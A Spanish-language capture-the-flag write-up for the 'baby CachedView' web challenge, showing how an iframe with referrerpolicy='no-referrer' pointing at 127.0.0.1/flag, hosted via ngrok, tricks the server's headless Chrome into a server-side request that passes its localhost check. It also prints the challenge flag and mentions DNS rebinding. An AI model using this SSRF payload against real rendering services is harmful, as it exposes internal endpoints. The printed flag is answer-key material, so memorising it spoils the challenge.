baby CachedView
2 minutos de lectura
Tenemos una aplicación web en Flask que nos permite renderizar otras páginas web como una imagen:
Por detrás, el servidor lanza un Headless Chrome con selenium
, accede a la página que le indicamos y toma una captura de pantalla para mostrarla. Aquí hay un ejemplo:
El objetivo es llegar a la ruta /flag
:
@web.route('/flag')
@is_from_localhost
def flag():
return send_file('flag.png')
Sin embargo, está protegida verificando que la petición se realiza desde 127.0.0.1
y sin cabecera Referer
:
def is_from_localhost(func):
@functools.wraps(func)
def check_ip(*args, **kwargs):
if request.remote_addr != '127.0.0.1' or request.referrer:
return abort(403)
return func(*args, **kwargs)
return check_ip
La idea es montar un servidor web que aloje este archivo index.html
:
<!doctype html>
<html>
<head>
<title>Title</title>
<meta charset="utf-8">
</head>
<body>
<iframe referrerpolicy="no-referrer" src="http://127.0.0.1/flag"></iframe>
</body>
</html>
Si la aplicación web es capaz de recibir el archivo, entonces el iframe
será llamado desde el propio servidor (el Headless Chrome local), y la petición irá desde localhost
(127.0.0.1
). Además, indicando referrerpolicy="no-referrer"
nos aseguramos de que no se añade la cabecera Referer
en la petición HTTP.
Podemos crear este servidor fácilmente con Python (si ejecutamos python -m http.server
, se arrancará un servidor en el puerto 8000). Y para hacerlo accesible, podemos utilizar ngrok
con el siguiente comando:
$ ngrok http 8000
ngrok
Session Status online
Account Rocky (Plan: Free)
Version 2.3.40
Region United States (us)
Latency 104.541459ms
Web Interface http://127.0.0.1:4040
Forwarding https://abcd-12-34-56-78.ngrok.io -> http://localhost:8000
Connections ttl opn rt1 rt5 p50 p90
1 0 0.00 0.00 0.00 0.00
Ahora cogemos la URL pública de ngrok
y la ponemos en la aplicación web. Veremos algunas peticiones en el registro del servidor:
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::1 - - [] "GET / HTTP/1.1" 200 -
::1 - - [] code 404, message File not found
::1 - - [] "GET /favicon.ico HTTP/1.1" 404 -
Entonces, la aplicación web renderizará una imagen que contiene la flag dentro de nuestro iframe
:
Y aquí está la flag:
HTB{reb1nd1ng_y0ur_dns_r3s0lv3r_0n3_qu3ry_4t_4_t1m3}
Aunque hemos conseguido la flag, la vía intencionada es utilizando DNS rebinding. La idea principal es poner un dominio que resuelva a una dirección IP externa, y justo después de la verificación, cambiar la resolución a una dirección IP local (como si fuera una condición de carrera), de manera que se accede a la ruta /flag
correctamente.
Con ngrok
(externo) y el iframe
sin cabecera Referer
apuntando a 127.0.0.1
(interno) es posible saltarse las dos verificaciones.